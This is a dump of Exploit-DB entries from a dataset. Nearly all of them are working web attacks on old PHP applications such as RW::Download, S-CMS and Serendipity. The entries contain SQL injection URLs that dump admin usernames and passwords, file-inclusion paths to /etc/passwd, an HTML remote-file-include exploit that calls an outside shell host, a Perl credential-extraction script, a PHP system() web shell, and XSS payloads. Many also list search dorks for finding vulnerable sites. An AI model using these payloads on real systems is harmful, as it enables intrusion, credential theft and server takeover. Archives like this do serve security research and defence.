deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28195
Description: RW::Download - 'stats.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-08
Author: StorMBoY

Exploit:
source: https://www.securityfocus.com/bid/18901/info

RW::Download is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

http://www.example.com/path/stats.php?root_path=code]
Exploit-DB #4371
Description: RW::Download 2.0.3 lite - 'index.php?dlid' SQL Injection
Type: webapps
Platform: php
Date: 2007-09-07
Author: k1tk4t

Exploit:
########################################################################
# RW::Download v2.0.3 lite - Remote SQL Injection
# Vendor           : http://www.rwscripts.com/
# Ditemukan oleh   : k1tk4t - k1tk4t[4t]newhack.org
# Lokasi           : Indonesia  --  #newhack[dot]org @ irc.dal.net
# Dork             : "Powered by RW::Download v2.0.3 lite"
########################################################################

http://localhost/UPLOAD/index.php?url=&dlid=-9%20UNION%20SELECT%20null,null,null,null,username,null,null,null,null,null,null,null,null,password,null,null,null,null%20from%20dl_users/*

http://localhost/UPLOAD/index.php?url=&cid=-9%20UNION%20SELECT%20null,null,concat(username,0x3a,password),null,null,null%20from%20dl_users/*

########################################################################
Terimakasih untuk;
str0ke, DNX
xoron,iFX,x-ace,nyubi,arioo,selikoer,k1ngk0ng,aldy_BT,adhietslank
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[dot]org
-----------------------
all member www.echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia
Cintailah Bahasa Indonesia

# milw0rm.com [2007-09-07]
Exploit-DB #5426
Description: RX Maxsoft - 'fotoID' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-10
Author: S@BUN

Exploit:
##########################################
#
# ProvozovÃ¡no na RS MAXSOFT SQL-Injection


#
# PAGE:http://redakcni-system.maxsoft.cz/
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : "RS MAXSOFT"
#
# DORK 2 : "ProvozovÃ¡no na RS MAXSOFT"
#
###########################################
you will see adminname and password on title

EXPLOiT:

modules/fotogalerie/popup_img.php?fotoID=-1+union+select+concat(login,0x3a,pass)+from+admin


ADMiN LOGiN=admin.php?page=logfrm


###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-10]
Exploit-DB #8566
Description: S-CMS 1.1 Stable - 'page' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-04-29
Author: ZoRLu

Exploit:
[~] S-Cms 1.1 Stable (page) LFi
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 29.04.2009
[~]
[~] Home: yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com
[~]
[~] msn: trt-turk@hotmail.com
[~] 
[~] N0T: Herkes Hecker Olmus :S
[~]
[~] N0T: if you wanna learn hack you must be register to my site yildirimordulari.com
[~] -----------------------------------------------------------

file:

s-cms/plugin.php

code:

$page=$_GET['page'];        ( error 1 )


$sql_select_plugin_case= mysql_query("SELECT * FROM ".$prefix."_plugins WHERE active = '1' AND file='$page'");

if ($sql_select_plugin_case){

include "plugins/$page";    (error 2 )

exp:

yildirimordulari.com/s-cms/plugin.php?page=[File]

for demo:

http://www.nonsolomazzini.altervista.org/s-cms/plugin.php?page=[LFi]


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone & Stack & ThE g0bL!N & AlpHaNiX  and all friends
[~]
[~] yildirimordulari.com / experl.com / z0rlu.blogspot.com / dafgamers.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-04-29]
Exploit-DB #8071
Description: S-CMS 1.1 Stable - Insecure Cookie Handling / Mass Page Delete
Type: webapps
Platform: php
Date: 2009-02-17
Author: x0r

Exploit:
#########################################################################################
[0x01] Informations:

Name           : S-Cms 1.1 Stable 
Download       : http://www.hotscripts.com/listings/jump/download/87992/
Vulnerability  : Insecure Cookie Handling / Mass Page Delete
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian 
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/login_action.php ... /admin/delete_page.php

[Code]

$user=$_POST['username'];
$pass=$_POST['password'];

$select_admin = mysql_query("SELECT * FROM cms_admin");

while($dati_admin=mysql_fetch_array($select_admin)){
$username=$dati_admin['username'];
$password=$dati_admin['password'];
}

if ($user == $username && $pass == $password){
 
   setcookie("login", "OK", time() + $logintime); #0wn3d

[/code]

[CODE]
	
		$id=$_GET['id'];
		
		$delete=mysql_query("DELETE FROM cms_content WHERE id='$id'");
		
		
		if ($delete){
		
		echo ""._DELETE_PAGE_SUCCESS."";
		
		} else {
		
		echo ""._DELETE_PAGE_ERROR."";
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: 1- javascript:document.cookie = "login=OK; path=/"
         2- http://[victim].org/path/admin/delete_page.php?id=' or 1=1/*

########################################################################################

# milw0rm.com [2009-02-17]
Exploit-DB #3328
Description: S-Gastebuch 1.5.3 - 'gb_pfad' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-18
Author: ajann

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>S-Gästebuch <= V.1.5.3 (gb_pfad) Remote File Include Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: S-Gästebuch <= V.1.5.3 (gb_pfad) Remote File Include Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[Dork       : VS-Gästebuch V. ©
//'[Dork Ex.   : http://www.google.com.tr/search?q=VS-G%C3%A4stebuch+V.+%C2%A9&hl=tr&start=10&sa=N
//'[S.Page     : http://www.virtualsystem.de/
//'[$$         : Free
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'
//'include ($gb_pfad ."/language/german.php");
//'
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/inc/"
   var adres="/functions_inc.php?" //File name
   var acik ="gb_pfad=" // Line x
   var shell="http://www.ehcbinningen.ch/komutverivee.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">S-Gästebuch <= V.1.5.3 (gb_pfad) Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-02-18]
Exploit-DB #17129
Description: S40 CMS 0.4.2b - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-04-07
Author: Osirys

Exploit:
[Security Advisory Details: 07/04/2001]

[Script]        S40 CMS 0.4.2 Beta
[Location]      http://s40.biz/?p=download
[Vulnerability] Local File Inclusion
[Original Adv]  http://y-osirys.com/security/exploits/id27
[Author]        Giovanni Buzzin, "Osirys"
[Site]          y-osirys.com
[Contact]       osirys[at]autistici[dot]org


------------------------------------------------------------------------------------------------------------
[CMS Description]

S40 CMS is FREE Content Management System
S40 CMS 0.4 beta is lightwieght flat file CMS written on PHP, suitable for small and medium sites. 
S40 is open-source MIT-license CMS developed by AWEN art studio Ltd.
S40 is fast and easy to customize system with build-in installer.


------------------------------------------------------------------------------------------------------------
[Security Flaw]

S40 CMS is prone to Local File Inclusion vulnerability because of poor security checks and bad input
sanitization: GET variables are not properly sanitized before being included via require() PHP function.

[code:index.php]

<?php
ob_start("ob_gzhandler"); // comment this line to disable gzip compression
require "inc/config.php";
require "inc/langs/".$s40[lang]	.".php";
if ($s40[installed]){
	require "inc/functions.php";
	checkinstall();
	require page($_GET[p],$_GET[c],$_GET[g],$_GET[gp]);

....

[/code]

Having a quick look at page() function, the security issue is clear: $pid ($_GET['p']), is not sanitized
or passed through a valid regular expression before being returned to require() function of index.php file.

[code:/inc/functions.php:page():line 13]

function page($pid,$cid,$gid,$gp){
	if(!isset($pid)){
		$p = "index";
		return "data/".$p.".page.php";
	}else{
		if (isset($pid) and isset($cid)){
			if(!file_exists("data/".$pid.".child.".$cid.".php")){
				return "data/404.inc";
			}else{
				$p = $pid;
				$c = $cid;
				return "data/".$p.".child.".$c.".php";
			}
		}else{
			if(!file_exists("data/".$pid.".page.php")){
				return "data/404.inc";
			}else{
				$p = $pid;
				return "data/".$p.".page.php";
			}
		}
	}
}
....

[/code]


------------------------------------------------------------------------------------------------------------
[Exploit]

The security issue can be exploited sending a valid path via GET request. Null Byte must be used in
order to exploit this LFI.

PoC : /[cms_path]/?p=[local_file]%00
      /[cms_path]/?p=/../../../../../../../etc/passwd%00


------------------------------------------------------------------------------------------------------------
[Credits]

Credit goes to Giovanni Buzzin, "Osirys"  for the discover of this vulnerability.
(Meglio)


------------------------------------------------------------------------------------------------------------
[END: 07/04/2011]
Exploit-DB #22134
Description: S8Forum 3.0 - Remote Command Execution
Type: webapps
Platform: php
Date: 2003-01-06
Author: nmsh_sa

Exploit:
source: https://www.securityfocus.com/bid/6547/info

S8Forum is prone to a remote command execution vulnerability.

When a user registers with the forum, a file is created locally with the specified username. The contents of this file will be the data entered by the user. As a result, a malicious user could create a file with an arbitrary name and PHP (.php) extension that contains valid PHP code. The attacker may then cause this file to be executed by requesting it via HTTP. 

- go to Register

- insert in Username:
any_name.php

- in password : any_pasword.

- in E-Mail:

<? system($cmd); ?>

Then request the following page:

http://www.example.com/s8forumfolder/users/any_name.php?cmd=uname%20-a
Exploit-DB #561
Description: S9Y Serendipity 0.7-beta1 - SQL Injection
Type: webapps
Platform: php
Date: 2004-09-28
Author: aCiDBiTS

Exploit:
Proof of Concept 1
------------------


Usage: ./ser_sqli_poc.sh URL_to_Serendipity_Weblog


ser_sqli_poc.sh
---------8<-----------8<-------------
#!/bin/sh


echo -n "Username: "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20username%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
echo -n "MD5(password): "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20password%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
---------8<-----------8<-------------




Proof of Concept 2
------------------


Copy&Paste this to your browser and edit URL_to_Serendipity_Weblog.

http://URL_to_Serendipity_Weblog/comment.php?serendipity[type]=trackbacks&serendipity[entry_id]=0%20and%200%20union%20select%201,2,3,4,username,password,7,8,9,0,1,2,3%20from%20serendipity_authors%20where%20authorid=1%20/*

# milw0rm.com [2004-09-28]
Exploit-DB #939
Description: S9Y Serendipity 0.8beta4 - 'exit.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-13
Author: kre0n

Exploit:
#!/usr/bin/perl
# Serendipity 0.8beta4 exit.php SQL Injection exploit
# (c) ADZ Security Team 2004-2005
# (c) kreon 2005
# http://adz.void.ru/
# kre0n@mail.ru
# Public :)

print "\n\n";
print "# Serendipity 0.8beta4 exit.php SQL Injection exploit\n";
print "# (C) ADZ Security Team 2004-2005\n";
print "# (C) kreon 2005\n";

use IO::Socket;
use Getopt::Std;

getopt("h:d:p:t:");

$opt_p ||= 80;
$opt_d ||= "/";
$opt_t ||= "serendipity_";

if(!$opt_h) {
    die("# Usage: $0 -h <host> [-d <dir>] [-p <port>] [-t table_prefix]\n");
}

$sqlpass = "?entry_id=1&url_id=1%20UNION%20SELECT%20password%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";
$sqllogin = "?entry_id=1&url_id=1%20UNION%20SELECT%20username%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";

print "# Host: $opt_h\n";
print "# Dir: $opt_d\n";
print "# Port: $opt_p\n";
print "# Prefix: $opt_t\n";

$Q1 = "GET ".$opt_d."/exit.php".$sqllogin." HTTP/1.0\n";
$Q1 .= "Host: ".$opt_h."\n\n";

$Q2 = "GET ".$opt_d."/exit.php".$sqlpass." HTTP/1.0\n";
$Q2 .= "Host: ".$opt_h."\n\n";

$s = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) or die("Can't connect!");
$s->send($Q1);
$s->recv($txt, 1024);
if($txt =~ m/location: (\S+)/i) {
    $login =  $1;
}

$s = IO::Socket::INET->new(Proto=>'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) or die("Can't connect!");
$s->send($Q2);
$s->recv($txt, 1024);
if($txt =~ m/location: (\S+)/i) {
    $pass = $1;
}
if(!$login || !$pass || $login =~ m/http:\/\//i || $pass =~ m/http:\/\//i) {
    print "# Failed :(\n";
    exit;
}

print "# Succeed :)\n";
print "# Login: $login\n";
print "# Pass Hash: $pass\n";
print "\n";

# milw0rm.com [2005-04-13]
Exploit-DB #24697
Description: S9Y Serendipity 0.x - 'exit.php' HTTP Response Splitting
Type: webapps
Platform: php
Date: 2004-10-21
Author: ChaoticEvil

Exploit:
source: https://www.securityfocus.com/bid/11497/info

Serendipity is reported prone to an HTTP response splitting vulnerability.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted.

This issue is identified in Serendipity 0.7-beta4 and prior.

http://www.example.com/serendipity/exit.php?url=DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb
250ZW50LUxlbmd0aDogMA0KDQpIVFRQLzEuMCAyMDAgT0sNCkNvbnRlbnQtTGVuZ3RoOiAyMQ0KQ
29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCg0KPGh0bWw%2bKmRlZmFjZWQqPC9odG1sPg%3d%3d
Exploit-DB #29694
Description: S9Y Serendipity 1.1.1 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-01
Author: Samenspender

Exploit:
source: https://www.securityfocus.com/bid/22774/info

Serendipity is affected by an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

Exploiting this vulnerability could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. 

POST /serendipity/index.php?frontpage HTTP/1.0 User-Agent: Mozilla/5.0 (SaMuschie) Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Content-Type: application/x-www-form-urlencoded Content-Length: 67 Connection: close serendipity%5BmultiCat%5D%5B%5D='&serendipity%5BisMultiCat%5D=Go%21
Exploit-DB #31682
Description: S9Y Serendipity 1.3 - Referer HTTP Header Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-22
Author: Hanno Boeck

Exploit:
source: https://www.securityfocus.com/bid/28885/info

S9Y Serendipity is prone to an HTML-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

S9Y Serendipity 1.3 is vulnerable; other versions may also be affected.

The following proof of concept is available for the referrer issue:

wget --referer='http://<hr onMouseOver="alert(7)">' http://someblog.com/
Exploit-DB #36095
Description: S9Y Serendipity 1.5.1 - 'research_display.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-08-31
Author: The_Exploited

Exploit:
source: https://www.securityfocus.com/bid/49395/info

Serendipity is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Serendipity 1.5.1 is vulnerable; other versions may also be affected. 

http://www.example.com/research_display.php?ID=47 and 1=1 //\\ http://www.aarda.org/research_display.php?ID=47 and 1=2

http://www.example.com/research_display.php?ID=-null+UNiON+ALL+SELECT+null,null,null,group_concat%28user,0x3a,pass,0x3a,email%29,null,null,null+FROM+Admin
Exploit-DB #15795
Description: S9Y Serendipity 1.5.4 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-12-21
Author: pentesters.ir

Exploit:
In The Name Of GOD 
[+] Exploit Title:remote 0day file upload
[+] Date: 2010
[+] script:Serendipity 1.5.4
[+] Software Link: http://www.s9y.org/12.html
[+] Author  : pentesters.ir
[+]discovered by:ahmadbady
[+] Contact : kivi_hacker666@yahoo.com
[+] Website : WwW.PenTesters.IR 
[+] Greeting: Behzad, navid, ...
[+]dork:"Powered by s9y"  and  "Powered by serendipity"
----------------------------------------------------------------------------
up:
/path/htmlarea/plugins/ExtendedFileManager/manager.php

shell:
/htmlarea/plugins/ExtendedFileManager/demo_images/shell.php.gif
------------------------------------------------------------------------------
Exploit-DB #36283
Description: S9Y Serendipity 1.5.5 - 'serendipity[filter][bp.ALT]' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-03
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/50502/info

Serendipity is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects Serendipity 1.5.5; prior versions may also be affected. 

http://www.example.com/serendipity/serendipity_admin_image_selector.php?serendipity[filter][bp.ALT]=</script><script>alert(document.cookie)</script>&go=+-+Go!+-+
Exploit-DB #18884
Description: S9Y Serendipity 1.6 - 'Backend' Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2012-05-08
Author: Stefan Schurtz

Exploit:
Advisory:		Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability
Advisory ID:		KORAMIS-ADV2012-001
Contact:		security@koramis.de
Author:			Stefan Schurtz
Affected Software:	Successfully tested on Serendipity 1.6
Vendor URL:		http://www.s9y.org
Vendor Status:		fixed
CVE-ID:			CVE-2012-2331,CVE-2012-2332

==========================
Vulnerability Description:
==========================

The Serendipity backend is prone to a Cross-Site Scripting and SQL-Injection vulnerability.

==================
Technical Details:
==================

# Cross Site-Scripting (CVE-2012-2331)
http://[target]/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='"</script><script>alert(document.cookie)</script>

# SQL-Injection (CVE-2012-2332)
http://[target]/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[plugin_to_conf]=-1' OR SLEEP(10)=0 LIMIT 1--+

=========
Solution:
=========

Upgrade to version 1.6.1

====================
Disclosure Timeline:
====================

21-Apr-2012 - informed developers
22-Apr-2012 - feedback from developer
08-May-2012 - fixed in version 1.6.1

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz (KORAMIS Security Team).

===========
References:
===========

http://www.koramis.com/advisories/2012/KORAMIS-ADV2012-001.txt
http://blog.s9y.org/archives/240-Serendipity-1.6.1-released.html